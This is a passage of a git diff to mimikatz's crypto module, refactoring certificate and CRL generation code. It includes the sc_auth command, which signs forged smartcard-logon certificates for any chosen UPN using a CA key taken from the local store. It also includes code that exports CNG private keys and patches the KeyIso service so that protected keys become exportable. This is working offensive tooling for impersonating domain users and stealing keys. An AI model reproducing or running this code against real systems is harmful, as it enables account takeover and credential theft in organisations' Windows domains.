szOID_CRL_NUMBER; + CrlInfo.rgExtension[0].fCritical = FALSE; + if(kuhl_m_crypto_c_sc_auth_quickEncode(CrlInfo.rgExtension[0].pszObjId, &ci->crlnumber, &CrlInfo.rgExtension[0].Value)) + { + kprintf(L"[s.crl ] algorithm : %S\n", CrlInfo.SignatureAlgorithm.pszObjId); + kprintf(L"[s.crl ] validity : "); + kull_m_string_displayLocalFileTime(&CrlInfo.ThisUpdate); + kprintf(L" -> "); + kull_m_string_displayLocalFileTime(&CrlInfo.NextUpdate); + kprintf(L"\n"); + + if(getFromSigner(signer, dSigner, &hSigner, &dwSignerKeySpec, &bFreeSignerKey, &CrlInfo.rgExtension[1], &CrlInfo.Issuer)) + { + if(dn = getCertificateName(&CrlInfo.Issuer)) + { + kprintf(L" [i.cert] subject : %s\n", dn); + LocalFree(dn); + } + kprintf(L"[s.crl ] signature : "); + if(status = getCertificate(hSigner, dwSignerKeySpec, X509_CERT_CRL_TO_BE_SIGNED, &CrlInfo, &CrlInfo.SignatureAlgorithm, Crl, cbCrl)) + kprintf(L"OK\n"); + closeHprov(bFreeSignerKey, dwSignerKeySpec, hSigner); + LocalFree(CrlInfo.rgExtension[1].Value.pbData); + } + LocalFree(CrlInfo.rgExtension[0].Value.pbData); + } + else PRINT_ERROR(L"Unable to create CRL Number\n"); + return status; +} + +BOOL generateCertificate(PKIWI_KEY_INFO ki, PKIWI_CERT_INFO ci, PCCERT_CONTEXT signer, PKIWI_SIGNER dSigner, PBYTE *Certificate, DWORD *cbCertificate, PKIWI_SIGNER oSigner) +{ + BOOL status = FALSE, isHw = FALSE, bFreeSignerKey; + HCRYPTPROV_OR_NCRYPT_KEY_HANDLE hSigner; + HCRYPTKEY hKey; + DWORD dwImplType, dwSignerKeySpec; + + PCERT_PUBLIC_KEY_INFO pbPublicKeyInfo; + CERT_RDN_ATTR rgNameAttr[4]; + CERT_RDN rgRDN[4] = {{1, NULL}, {1, NULL}, {1, NULL}, {1, NULL}}; + CERT_NAME_INFO Name = {0, rgRDN}; + CERT_BASIC_CONSTRAINTS2_INFO bc2 = {ci->isAC, FALSE, 0}; // no len constraint + CERT_EXTENSION Extensions[7] = {0}, *pAki = NULL; // KU, SKI, BC2, [AKI, EKU, CRLDP, SAN] + CERT_INFO CertInfo = {0}; + + PWSTR dn; + + CertInfo.dwVersion = CERT_V3; + CertInfo.cExtension = 3; // KU, SKI, BC2 + CertInfo.rgExtension = Extensions; + CertInfo.SignatureAlgorithm.pszObjId = ci->algorithm ? ci->algorithm : szOID_RSA_SHA1RSA; + + if(genRdnAttr(&rgNameAttr[0], szOID_COMMON_NAME, ci->cn)) + rgRDN[Name.cRDN++].rgRDNAttr = &rgNameAttr[0]; + if(genRdnAttr(&rgNameAttr[1], szOID_ORGANIZATIONAL_UNIT_NAME, ci->ou)) + rgRDN[Name.cRDN++].rgRDNAttr = &rgNameAttr[1]; + if(genRdnAttr(&rgNameAttr[2], szOID_ORGANIZATION_NAME, ci->o)) + rgRDN[Name.cRDN++].rgRDNAttr = &rgNameAttr[2]; + if(genRdnAttr(&rgNameAttr[3], szOID_COUNTRY_NAME, ci->c)) + rgRDN[Name.cRDN++].rgRDNAttr = &rgNameAttr[3]; + + getDate(&CertInfo.NotBefore, &CertInfo.NotAfter, ci, signer, dSigner); + + if(kuhl_m_crypto_c_sc_auth_quickEncode(X509_NAME, &Name, &CertInfo.Subject)) + { + if(dn = getCertificateName(&CertInfo.Subject)) + { + kprintf(L"[s.cert] subject : %s\n", dn); + LocalFree(dn); + } + if(makeSN(ci->sn, &CertInfo.SerialNumber)) + { + kprintf(L"[s.cert] serial : "); + kull_m_string_wprintf_hex(CertInfo.SerialNumber.pbData, CertInfo.SerialNumber.cbData, 0); + kprintf(L"\n"); + + if(kuhl_m_crypto_c_sc_auth_Ext_KU(&CertInfo.rgExtension[0], TRUE, ci->ku)) + { + if(givebc2(&CertInfo.rgExtension[1], &bc2)) + { + if(ci->eku) + CertInfo.rgExtension[CertInfo.cExtension++] = *ci->eku; + if(ci->san) + CertInfo.rgExtension[CertInfo.cExtension++] = *ci->san; + if(ci->cdp) + CertInfo.rgExtension[CertInfo.cExtension++] = *ci->cdp; + + kprintf(L"[s.cert] algorithm : %S\n", CertInfo.SignatureAlgorithm.pszObjId); + kprintf(L"[s.cert] validity : "); + kull_m_string_displayLocalFileTime(&CertInfo.NotBefore); + kprintf(L" -> "); + kull_m_string_displayLocalFileTime(&CertInfo.NotAfter); + kprintf(L"\n"); + + kprintf(L"[s.key ] provider : %s\n", ki->keyInfos.pwszProvName); + if(ki->keyInfos.pwszContainerName = kull_m_string_getRandomGUID()) + { + kprintf(L"[s.key ] container : %s\n", ki->keyInfos.pwszContainerName); + if(CryptAcquireContext(&ki->hProv, NULL, ki->keyInfos.pwszProvName, ki->keyInfos.dwProvType, CRYPT_VERIFYCONTEXT | CRYPT_SILENT)) + { + dwSignerKeySpec = sizeof(DWORD); + if(CryptGetProvParam(ki->hProv, PP_IMPTYPE, (PBYTE) &dwImplType, &dwSignerKeySpec, 0)) + isHw = dwImplType & CRYPT_IMPL_HARDWARE; + if(isHw) + { + ki->keyInfos.dwFlags &= ~CRYPT_SILENT; + ki->dwKeyFlags &= ~CRYPT_EXPORTABLE; + makePin(ki->hProv, isHw, ki->pin); + } + CryptReleaseContext(ki->hProv, 0); + } + + if(CryptAcquireContext(&ki->hProv, ki->keyInfos.pwszContainerName, ki->keyInfos.pwszProvName, ki->keyInfos.dwProvType, CRYPT_NEWKEYSET | ki->keyInfos.dwFlags)) + { + makePin(ki->hProv, isHw, ki->pin); + kprintf(L"[s.key ] gen (%4hu): ", ki->wKeySize); + if(CryptGenKey(ki->hProv, ki->keyInfos.dwKeySpec, ki->dwKeyFlags | (ki->wKeySize << 16), &hKey)) + { + kprintf(L"OK\n"); + if(pbPublicKeyInfo = getPublicKeyInfo(ki->hProv, ki->keyInfos.dwKeySpec)) + { + CertInfo.SubjectPublicKeyInfo = *pbPublicKeyInfo; + if(giveski(&CertInfo.rgExtension[2], pbPublicKeyInfo)) + { + if(getFromSigner(signer, dSigner, &hSigner, &dwSignerKeySpec, &bFreeSignerKey, &CertInfo.rgExtension[CertInfo.cExtension], &CertInfo.Issuer)) + { + pAki = &CertInfo.rgExtension[CertInfo.cExtension++]; + if(dn = getCertificateName(&CertInfo.Issuer)) + { + kprintf(L" [i.cert] subject : %s\n", dn); + LocalFree(dn); + } + } + else CertInfo.Issuer = CertInfo.Subject; + + kprintf(L"[s.cert] signature : "); + if(status = getCertificate(hSigner ? hSigner : ki->hProv, hSigner ? dwSignerKeySpec : ki->keyInfos.dwKeySpec, X509_CERT_TO_BE_SIGNED, &CertInfo, &CertInfo.SignatureAlgorithm, Certificate, cbCertificate)) + { + kprintf(L"OK\n"); + if(isHw) + { + kprintf(L"[s.key ] cert.assoc: "); + if(CryptSetKeyParam(hKey, KP_CERTIFICATE, *Certificate, 0)) + kprintf(L"OK\n"); + else PRINT_ERROR_AUTO(L"CryptSetKeyParam(KP_CERTIFICATE)"); + } + if(oSigner) + { + oSigner->hProv = ki->hProv; + oSigner->dwKeySpec = ki->keyInfos.dwKeySpec; + oSigner->NotBefore = CertInfo.NotBefore; + oSigner->NotAfter = CertInfo.NotAfter; + oSigner->Subject.cbData = CertInfo.Subject.cbData; + if(oSigner->Subject.pbData = (PBYTE) LocalAlloc(LPTR, oSigner->Subject.cbData)) + RtlCopyMemory(oSigner->Subject.pbData, CertInfo.Subject.pbData, oSigner->Subject.cbData); + else status = FALSE; + } + } + + if(pAki) + LocalFree(pAki->Value.pbData); + + closeHprov(bFreeSignerKey, dwSignerKeySpec, hSigner); + LocalFree(&CertInfo.rgExtension[2].Value.pbData); + } + else PRINT_ERROR(L"Unable to create SKI\n"); + } + CryptDestroyKey(hKey); + } + else PRINT_ERROR_AUTO(L"CryptGenKey"); + if(!status) + CryptReleaseContext(ki->hProv, 0); + } + else PRINT_ERROR_AUTO(L"CryptAcquireContext(CRYPT_NEWKEYSET)"); + if(!status) + LocalFree(ki->keyInfos.pwszContainerName); + } + else PRINT_ERROR(L"Unable to generate a container name\n"); + LocalFree(&CertInfo.rgExtension[1].Value.pbData); + } + else PRINT_ERROR(L"Unable to create BC2\n"); + LocalFree(&CertInfo.rgExtension[0].Value.pbData); + } + else PRINT_ERROR(L"Unable to create KU\n"); + LocalFree(CertInfo.SerialNumber.pbData); + } + else PRINT_ERROR(L"Unable to create SN\n"); + LocalFree(CertInfo.Subject.pbData); + } + else PRINT_ERROR(L"Unable to create Subject\n"); + return status; +} + NTSTATUS kuhl_m_crypto_c_sc_auth(int argc, wchar_t * argv[]) { - LPCWSTR szStoreCA, szNameCA, szUPN, szPfx = NULL, szPin; - LPSTR aPin = NULL; + LPCWSTR szStoreCA, szNameCA, szPfx = NULL, szPin, szCrlDp; HCERTSTORE hCertStoreCA; PCCERT_CONTEXT pCertCtxCA; - HCRYPTPROV_OR_NCRYPT_KEY_HANDLE hKeyCA; - DWORD dwKeySpecCA; - BOOL bToFreeCA, isExported = FALSE; - - HCRYPTPROV hProvCERT; - HCRYPTKEY hKeyCERT; - BYTE SerialNumber[LM_NTLM_HASH_LENGTH]; - CERT_RDN_ATTR rgNameAttr[] = { - {szOID_COMMON_NAME, CERT_RDN_UNICODE_STRING, {0, NULL}}, - {szOID_ORGANIZATION_NAME, CERT_RDN_UNICODE_STRING, {sizeof(MIMIKATZ) - sizeof(wchar_t), (PBYTE) MIMIKATZ}}, - {szOID_COUNTRY_NAME, CERT_RDN_UNICODE_STRING, {sizeof(L"FR") - sizeof(wchar_t), (PBYTE) L"FR"}}, - }; - CERT_RDN rgRDN = {ARRAYSIZE(rgNameAttr), rgNameAttr}; - CERT_NAME_INFO Name = {1, &rgRDN}; - CERT_EXTENSION Extensions[3] = {0}; // EKU, KU, AltNames - DWORD cbPublicKeyInfo; - PCERT_PUBLIC_KEY_INFO pbPublicKeyInfo; - CRYPT_KEY_PROV_INFO keyInfos = {NULL, MS_ENHANCED_PROV, PROV_RSA_FULL, CRYPT_SILENT, 0, NULL, AT_KEYEXCHANGE}; - - CERT_INFO CertInfo = {0}; - DWORD keyFlags = CRYPT_EXPORTABLE, szCertificate = 0; + BOOL isExported = FALSE; + CERT_EXTENSION eku = {0}, san = {0}, cdp = {0}; + DWORD szCertificate = 0; PBYTE Certificate = NULL; - BOOL onCryptoHW = kull_m_string_args_byName(argc, argv, L"hw", NULL, NULL); + KIWI_KEY_INFO ki = {{NULL, MS_ENHANCED_PROV, PROV_RSA_FULL, CRYPT_SILENT, 0, NULL, AT_KEYEXCHANGE}, NULL, CRYPT_EXPORTABLE, 2048}; + KIWI_CERT_INFO ci = {NULL, NULL, NULL, NULL, MIMIKATZ, L"FR", NULL, CERT_DIGITAL_SIGNATURE_KEY_USAGE | CERT_KEY_ENCIPHERMENT_KEY_USAGE, szOID_OIWSEC_sha1RSASign/*szOID_RSA_SHA256RSA*/, FALSE, &eku, &san, NULL}; - if(onCryptoHW) + if(kull_m_string_args_byName(argc, argv, L"hw", NULL, NULL)) { - kull_m_string_args_byName(argc, argv, L"csp", &keyInfos.pwszProvName, MS_SCARD_PROV); + kull_m_string_args_byName(argc, argv, L"csp", &ki.keyInfos.pwszProvName, MS_SCARD_PROV); if(kull_m_string_args_byName(argc, argv, L"pin", &szPin, NULL)) - aPin = kull_m_string_unicode_to_ansi(szPin); - keyFlags = 0; + ki.pin = kull_m_string_unicode_to_ansi(szPin); } - if(keyInfos.pwszContainerName = kull_m_string_getRandomGUID()) + kull_m_string_args_byName(argc, argv, L"castore", &szStoreCA, L"LOCAL_MACHINE"); + if(kull_m_string_args_byName(argc, argv, L"caname", &szNameCA, NULL)) { - CertInfo.dwVersion = CERT_V3; - CertInfo.SerialNumber.cbData = sizeof(SerialNumber); - CertInfo.SerialNumber.pbData = SerialNumber; - CertInfo.cExtension = ARRAYSIZE(Extensions); - CertInfo.rgExtension = Extensions; - CDGenerateRandomBits(CertInfo.SerialNumber.pbData, CertInfo.SerialNumber.cbData); - - kull_m_string_args_byName(argc, argv, L"castore", &szStoreCA, L"LOCAL_MACHINE"); - if(kull_m_string_args_byName(argc, argv, L"caname", &szNameCA, NULL)) + if(kull_m_string_args_byName(argc, argv, L"upn", &ci.cn, NULL)) { - if(kull_m_string_args_byName(argc, argv, L"upn", &szUPN, NULL)) + kprintf(L"CA store : %s\n", szStoreCA); + if(hCertStoreCA = CertOpenStore(CERT_STORE_PROV_SYSTEM, 0, (HCRYPTPROV_LEGACY) NULL, kull_m_crypto_system_store_to_dword(szStoreCA) | CERT_STORE_OPEN_EXISTING_FLAG | CERT_STORE_READONLY_FLAG, L"My")) { - rgNameAttr[0].Value.cbData = (DWORD) wcslen(szUPN) * sizeof(wchar_t); - rgNameAttr[0].Value.pbData = (PBYTE) szUPN; - kprintf(L"CA store : %s\n", szStoreCA); - if(hCertStoreCA = CertOpenStore(CERT_STORE_PROV_SYSTEM, 0, (HCRYPTPROV_LEGACY) NULL, kull_m_crypto_system_store_to_dword(szStoreCA) | CERT_STORE_OPEN_EXISTING_FLAG | CERT_STORE_READONLY_FLAG, L"My")) + kprintf(L"CA name : %s\n", szNameCA); + if(pCertCtxCA = CertFindCertificateInStore(hCertStoreCA, X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, 0, CERT_FIND_SUBJECT_STR, szNameCA, NULL)) { - kprintf(L"CA name : %s\n", szNameCA); - if(pCertCtxCA = CertFindCertificateInStore(hCertStoreCA, X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, 0, CERT_FIND_SUBJECT_STR, szNameCA, NULL)) + if(kuhl_m_crypto_c_sc_auth_Ext_EKU(&eku, 2, szOID_KP_SMARTCARD_LOGON, szOID_PKIX_KP_CLIENT_AUTH)) { - kprintf(L"CA validity : "); kull_m_string_displayLocalFileTime(&pCertCtxCA->pCertInfo->NotBefore); - kprintf(L" -> "); kull_m_string_displayLocalFileTime(&pCertCtxCA->pCertInfo->NotAfter); kprintf(L"\n"); - if(CryptAcquireCertificatePrivateKey(pCertCtxCA, CRYPT_ACQUIRE_CACHE_FLAG | CRYPT_ACQUIRE_ALLOW_NCRYPT_KEY_FLAG, NULL, &hKeyCA, &dwKeySpecCA, &bToFreeCA)) + if(kuhl_m_crypto_c_sc_auth_Ext_AltUPN(&san, ci.cn)) { - CertInfo.Issuer = pCertCtxCA->pCertInfo->Subject; - CertInfo.IssuerUniqueId = pCertCtxCA->pCertInfo->SubjectUniqueId; - CertInfo.NotBefore = pCertCtxCA->pCertInfo->NotBefore; - CertInfo.NotAfter = pCertCtxCA->pCertInfo->NotAfter; - CertInfo.SignatureAlgorithm = pCertCtxCA->pCertInfo->SignatureAlgorithm; - kprintf(L"Certificate UPN: %s\n", szUPN); - if(kuhl_m_crypto_c_sc_auth_quickEncode(X509_NAME, &Name, &CertInfo.Subject)) + if(kull_m_string_args_byName(argc, argv, L"crldp", &szCrlDp, NULL)) + if(kuhl_m_crypto_c_sc_auth_Ext_CDP(&cdp, 1, szCrlDp)) + ci.cdp = &cdp; + + if(generateCertificate(&ki, &ci, pCertCtxCA, NULL, &Certificate, &szCertificate, NULL)) { - if(kuhl_m_crypto_c_sc_auth_Ext_EKU(&Extensions[0], 2, szOID_KP_SMARTCARD_LOGON, szOID_PKIX_KP_CLIENT_AUTH)) + if(kull_m_string_args_byName(argc, argv, L"pfx", &szPfx, NULL)) { - if(kuhl_m_crypto_c_sc_auth_Ext_KU(&Extensions[1], CERT_DIGITAL_SIGNATURE_KEY_USAGE | CERT_KEY_ENCIPHERMENT_KEY_USAGE)) - { - if(kuhl_m_crypto_c_sc_auth_Ext_AltUPN(&Extensions[2], szUPN)) - { - kprintf(L"Dst provider : %s\nDst container : %s\n", keyInfos.pwszProvName, keyInfos.pwszContainerName); - if(onCryptoHW && aPin) - { - if(CryptAcquireContext(&hProvCERT, NULL, keyInfos.pwszProvName, keyInfos.dwProvType, CRYPT_SILENT)) - { - if(!CryptSetProvParam(hProvCERT, PP_KEYEXCHANGE_PIN, (const BYTE *) aPin, 0)) - { - keyInfos.dwFlags = 0; - PRINT_ERROR_AUTO(L"CryptSetProvParam(PP_KEYEXCHANGE_PIN)"); - } - CryptReleaseContext(hProvCERT, 0); - } - } - if(CryptAcquireContext(&hProvCERT, keyInfos.pwszContainerName, keyInfos.pwszProvName, keyInfos.dwProvType, CRYPT_NEWKEYSET | keyInfos.dwFlags)) - { - if(onCryptoHW) - { - if(aPin) - if(!CryptSetProvParam(hProvCERT, PP_KEYEXCHANGE_PIN, (const BYTE *) aPin, 0)) - PRINT_ERROR_AUTO(L"CryptSetProvParam(PP_KEYEXCHANGE_PIN)"); - kprintf(L"Dst Key Gen : "); - } - if(CryptGenKey(hProvCERT, keyInfos.dwKeySpec, keyFlags | (RSA1024BIT_KEY * 2), &hKeyCERT)) - { - if(onCryptoHW) - kprintf(L"OK\n"); - if(CryptExportPublicKeyInfo(hProvCERT, keyInfos.dwKeySpec, X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, NULL, &cbPublicKeyInfo)) - { - if(pbPublicKeyInfo = (PCERT_PUBLIC_KEY_INFO) LocalAlloc(LPTR, cbPublicKeyInfo)) - { - if(CryptExportPublicKeyInfo(hProvCERT, keyInfos.dwKeySpec, X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, pbPublicKeyInfo, &cbPublicKeyInfo)) - { - CertInfo.SubjectPublicKeyInfo = *pbPublicKeyInfo; - if(CryptSignAndEncodeCertificate(hKeyCA, dwKeySpecCA, X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, X509_CERT_TO_BE_SIGNED, &CertInfo, &CertInfo.SignatureAlgorithm, NULL, NULL, &szCertificate)) - { - if(Certificate = (PBYTE) LocalAlloc(LPTR, szCertificate)) - { - if(CryptSignAndEncodeCertificate(hKeyCA, dwKeySpecCA, X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, X509_CERT_TO_BE_SIGNED, &CertInfo, &CertInfo.SignatureAlgorithm, NULL, Certificate, &szCertificate)) - { - if(onCryptoHW) - { - kprintf(L"Dst Cert Assoc : "); - if(isExported = CryptSetKeyParam(hKeyCERT, KP_CERTIFICATE, Certificate, 0)) - kprintf(L"OK\n"); - else PRINT_ERROR_AUTO(L"CryptSetKeyParam"); - } - else if(kull_m_string_args_byName(argc, argv, L"pfx", &szPfx, NULL)) - { - isExported = kull_m_crypto_DerAndKeyInfoToPfx(Certificate, szCertificate, &keyInfos, szPfx); - kprintf(L"Private Export : %s - %s\n", szPfx, isExported ? L"OK" : L"KO"); - } - else - { - isExported = kull_m_crypto_DerAndKeyInfoToStore(Certificate, szCertificate, &keyInfos, CERT_SYSTEM_STORE_CURRENT_USER, L"My", FALSE); - kprintf(L"Private Store : CERT_SYSTEM_STORE_CURRENT_USER/My - %s\n", isExported ? L"OK" : L"KO"); - } - } - else PRINT_ERROR_AUTO(L"CryptSignAndEncodeCertificate (data)"); - LocalFree(Certificate); - } - } - else PRINT_ERROR_AUTO(L"CryptSignAndEncodeCertificate (init)"); - } - else PRINT_ERROR_AUTO(L"CryptExportPublicKeyInfo (data)"); - LocalFree(pbPublicKeyInfo); - } - } - else PRINT_ERROR_AUTO(L"CryptExportPublicKeyInfo (init)"); - CryptDestroyKey(hKeyCERT); - } - else PRINT_ERROR_AUTO(L"CryptGenKey"); - - CryptReleaseContext(hProvCERT, 0); - if(!isExported || szPfx) - { - if(!CryptAcquireContext(&hProvCERT, keyInfos.pwszContainerName, keyInfos.pwszProvName, keyInfos.dwProvType, CRYPT_DELETEKEYSET | keyInfos.dwFlags)) - PRINT_ERROR_AUTO(L"Unable to delete temp keyset"); - } - } - else PRINT_ERROR_AUTO(L"CryptAcquireContext"); - kuhl_m_crypto_c_sc_auth_Ext_Free(&Extensions[2]); - } - kuhl_m_crypto_c_sc_auth_Ext_Free(&Extensions[1]); - } - kuhl_m_crypto_c_sc_auth_Ext_Free(&Extensions[0]); + isExported = kull_m_crypto_DerAndKeyInfoToPfx(Certificate, szCertificate, &ki.keyInfos, szPfx); + kprintf(L"Private Export : %s - %s\n", szPfx, isExported ? L"OK" : L"KO"); } - LocalFree(CertInfo.Subject.pbData); + else + { + isExported = kull_m_crypto_DerAndKeyInfoToStore(Certificate, szCertificate, &ki.keyInfos, CERT_SYSTEM_STORE_CURRENT_USER, L"My", FALSE); + kprintf(L"Private Store : CERT_SYSTEM_STORE_CURRENT_USER/My - %s\n", isExported ? L"OK" : L"KO"); + } + + if(!isExported || szPfx) + kull_m_crypto_close_hprov_delete_container(ki.hProv); + else + CryptReleaseContext(ki.hProv, 0); + LocalFree(Certificate); } - CryptReleaseContext(hKeyCA, 0); + if(ci.cdp) + kuhl_m_crypto_c_sc_auth_Ext_Free(ci.cdp); + kuhl_m_crypto_c_sc_auth_Ext_Free(&san); } - else PRINT_ERROR_AUTO(L"CryptAcquireCertificatePrivateKey"); - CertFreeCertificateContext(pCertCtxCA); + else PRINT_ERROR_AUTO(L"Unable to generate SAN extension - kuhl_m_crypto_c_sc_auth_Ext_AltUPN"); + kuhl_m_crypto_c_sc_auth_Ext_Free(&eku); } - else PRINT_ERROR_AUTO(L"CertFindCertificateInStore"); - CertCloseStore(hCertStoreCA, CERT_CLOSE_STORE_FORCE_FLAG); + else PRINT_ERROR_AUTO(L"Unable to generate EKU extension - kuhl_m_crypto_c_sc_auth_Ext_EKU"); + CertFreeCertificateContext(pCertCtxCA); } - else PRINT_ERROR_AUTO(L"CertOpenStore"); + else PRINT_ERROR_AUTO(L"CertFindCertificateInStore"); + CertCloseStore(hCertStoreCA, CERT_CLOSE_STORE_FORCE_FLAG); } - else PRINT_ERROR(L"/upn:user@domain.local needed\n"); + else PRINT_ERROR_AUTO(L"CertOpenStore"); } - else PRINT_ERROR(L"/caname:CA-KIWI needed\n"); - - LocalFree(keyInfos.pwszContainerName); + else PRINT_ERROR(L"/upn:user@domain.local needed\n"); } + else PRINT_ERROR(L"/caname:CA-KIWI needed\n"); - if(aPin) - LocalFree(aPin); + if(ki.pin) + LocalFree(ki.pin); return STATUS_SUCCESS; } @@ -1270,32 +1869,39 @@ NTSTATUS kuhl_m_crypto_c_cert_to_hw(int argc, wchar_t * argv[]) } else { - nCryptReturn = K_NCryptOpenStorageProvider(&hCngProv, source->pwszProvName, 0); - if(nCryptReturn == ERROR_SUCCESS) + __try { - nCryptReturn = K_NCryptOpenKey(hCngProv, &hCngKey, source->pwszContainerName, 0, source->dwFlags); + nCryptReturn = NCryptOpenStorageProvider(&hCngProv, source->pwszProvName, 0); if(nCryptReturn == ERROR_SUCCESS) { - nCryptReturn = K_NCryptExportKey(hCngKey, 0, LEGACY_RSAPRIVATE_BLOB, NULL, NULL, 0, &dwkeyblob, 0); + nCryptReturn = NCryptOpenKey(hCngProv, &hCngKey, source->pwszContainerName, 0, source->dwFlags); if(nCryptReturn == ERROR_SUCCESS) { - if(keyblob = (LPBYTE)LocalAlloc(LPTR, dwkeyblob)) + nCryptReturn = NCryptExportKey(hCngKey, 0, LEGACY_RSAPRIVATE_BLOB, NULL, NULL, 0, &dwkeyblob, 0); + if(nCryptReturn == ERROR_SUCCESS) { - nCryptReturn = K_NCryptExportKey(hCngKey, 0, LEGACY_RSAPRIVATE_BLOB, NULL, keyblob, dwkeyblob, &dwkeyblob, 0); - if(!(isExported = (nCryptReturn == ERROR_SUCCESS))) + if(keyblob = (LPBYTE)LocalAlloc(LPTR, dwkeyblob)) { - PRINT_ERROR(L"NCryptExportKey(data): %08x\n", nCryptReturn); - LocalFree(keyblob); + nCryptReturn = NCryptExportKey(hCngKey, 0, LEGACY_RSAPRIVATE_BLOB, NULL, keyblob, dwkeyblob, &dwkeyblob, 0); + if(!(isExported = (nCryptReturn == ERROR_SUCCESS))) + { + PRINT_ERROR(L"NCryptExportKey(data): %08x\n", nCryptReturn); + LocalFree(keyblob); + } } } + else PRINT_ERROR(L"NCryptExportKey(init): %08x\n", nCryptReturn); + NCryptFreeObject(hCngKey); } - else PRINT_ERROR(L"NCryptExportKey(init): %08x\n", nCryptReturn); - K_NCryptFreeObject(hCngKey); + else PRINT_ERROR(L"NCryptOpenKey: %08x\n", nCryptReturn); + NCryptFreeObject(hCngProv); } - else PRINT_ERROR(L"NCryptOpenKey: %08x\n", nCryptReturn); - K_NCryptFreeObject(hCngProv); + else PRINT_ERROR(L"NCryptOpenStorageProvider: %08x\n", nCryptReturn); + } + __except(GetExceptionCode() == ERROR_DLL_NOT_FOUND) + { + PRINT_ERROR(L"No CNG?\n"); } - else PRINT_ERROR(L"NCryptOpenStorageProvider: %08x\n", nCryptReturn); } } LocalFree(source); @@ -1467,14 +2073,17 @@ KULL_M_PATCH_GENERIC CngReferences[] = { NTSTATUS kuhl_m_crypto_p_cng(int argc, wchar_t * argv[]) { NCRYPT_PROV_HANDLE hProvider; - if(kuhl_m_crypto_hNCrypt) + __try { - if(NT_SUCCESS(K_NCryptOpenStorageProvider(&hProvider, NULL, 0))) + if(NT_SUCCESS(NCryptOpenStorageProvider(&hProvider, NULL, 0))) { - K_NCryptFreeObject(hProvider); + NCryptFreeObject(hProvider); kull_m_patch_genericProcessOrServiceFromBuild(CngReferences, ARRAYSIZE(CngReferences), L"KeyIso", (MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_BUILD_8) ? L"ncrypt.dll" : L"ncryptprov.dll", TRUE); } } - else PRINT_ERROR(L"No CNG\n"); + __except(GetExceptionCode() == ERROR_DLL_NOT_FOUND) + { + PRINT_ERROR(L"No CNG\n"); + } return STATUS_SUCCESS; } \ No newline at end of file diff --git a/mimikatz/modules/kuhl_m_crypto.h b/mimikatz/modules/kuhl_m_crypto.h index 7eecd73..100a33c 100644 --- a/mimikatz/modules/kuhl_m_crypto.h +++ b/mimikatz/modules/kuhl_m_crypto.h @@ -5,6 +5,7 @@ */ #pragma once #include "kuhl_m.h" +#include #include "../modules/kull_m_crypto.h" #include "../modules/kull_m_process.h" #include "../modules/kull_m_service.h" @@ -16,18 +17,6 @@ typedef BOOL (WINAPI * PCP_EXPORTKEY) (IN HCRYPTPROV hProv, IN HCRYPTKEY hKey, IN HCRYPTKEY hPubKey, IN DWORD dwBlobType, IN DWORD dwFlags, OUT LPBYTE pbData, IN OUT LPDWORD pcbDataLen); -typedef SECURITY_STATUS (WINAPI * PNCRYPT_OPEN_STORAGE_PROVIDER) (__out NCRYPT_PROV_HANDLE *phProvider, __in_opt LPCWSTR pszProviderName, __in DWORD dwFlags); -typedef SECURITY_STATUS (WINAPI * PNCRYPT_ENUM_KEYS) (__in NCRYPT_PROV_HANDLE hProvider, __in_opt LPCWSTR pszScope, __deref_out NCryptKeyName **ppKeyName, __inout PVOID * ppEnumState, __in DWORD dwFlags); -typedef SECURITY_STATUS (WINAPI * PNCRYPT_OPEN_KEY) (__in NCRYPT_PROV_HANDLE hProvider, __out NCRYPT_KEY_HANDLE *phKey, __in LPCWSTR pszKeyName, __in DWORD dwLegacyKeySpec, __in DWORD dwFlags); -typedef SECURITY_STATUS (WINAPI * PNCRYPT_IMPORT_KEY) (__in NCRYPT_PROV_HANDLE hProvider, __in_opt NCRYPT_KEY_HANDLE hImportKey, __in LPCWSTR pszBlobType, __in_opt NCryptBufferDesc *pParameterList, __out NCRYPT_KEY_HANDLE *phKey, __in_bcount(cbData) PBYTE pbData, __in DWORD cbData, __in DWORD dwFlags); -typedef SECURITY_STATUS (WINAPI * PNCRYPT_EXPORT_KEY) (__in NCRYPT_KEY_HANDLE hKey, __in_opt NCRYPT_KEY_HANDLE hExportKey, __in LPCWSTR pszBlobType, __in_opt NCryptBufferDesc *pParameterList, __out_opt PBYTE pbOutput, __in DWORD cbOutput, __out DWORD *pcbResult, __in DWORD dwFlags); -typedef SECURITY_STATUS (WINAPI * PNCRYPT_GET_PROPERTY) (__in NCRYPT_HANDLE hObject, __in LPCWSTR pszProperty, __out_bcount_part_opt(cbOutput, *pcbResult) PBYTE pbOutput, __in DWORD cbOutput, __out DWORD * pcbResult, __in DWORD dwFlags); -typedef SECURITY_STATUS (WINAPI * PNCRYPT_SET_PROPERTY) ( __in NCRYPT_HANDLE hObject, __in LPCWSTR pszProperty, __in_bcount(cbInput) PBYTE pbInput, __in DWORD cbInput, __in DWORD dwFlags); -typedef SECURITY_STATUS (WINAPI * PNCRYPT_FREE_BUFFER) (__deref PVOID pvInput); -typedef SECURITY_STATUS (WINAPI * PNCRYPT_FREE_OBJECT) (__in NCRYPT_HANDLE hObject); -typedef NTSTATUS (WINAPI * PBCRYPT_ENUM_REGISTERED_PROVIDERS)(__inout ULONG* pcbBuffer, __deref_opt_inout_bcount_part_opt(*pcbBuffer, *pcbBuffer) PCRYPT_PROVIDERS *ppBuffer); -typedef VOID (WINAPI * PBCRYPT_FREE_BUFFER) (__in PVOID pvBuffer); - typedef struct _KUHL_M_CRYPTO_DWORD_TO_DWORD { PCWSTR name; DWORD id; @@ -82,5 +71,7 @@ void kuhl_m_crypto_exportCert(PCCERT_CONTEXT pCertificate, BOOL havePrivateKey, wchar_t * kuhl_m_crypto_generateFileName(const wchar_t * term0, const wchar_t * term1, const DWORD index, const wchar_t * name, const wchar_t * ext); void kuhl_m_crypto_file_rawData(PKUHL_M_CRYPTO_CERT_PROP prop, PCWCHAR inFile, BOOL isExport); void kuhl_m_crypto_l_keys_capi(LPCWSTR szContainer, LPCWSTR szProvider, DWORD dwProvType, DWORD dwFlags, BOOL export, LPCWSTR szStore); +void kuhl_m_crypto_l_keys_cng(LPCWSTR szContainer, LPCWSTR szProvider, DWORD dwFlags, BOOL export, LPCWSTR szStore); +void kuhl_m_crypto_l_mdr(LPCWSTR szMdr, SCARDCONTEXT ctxScard, 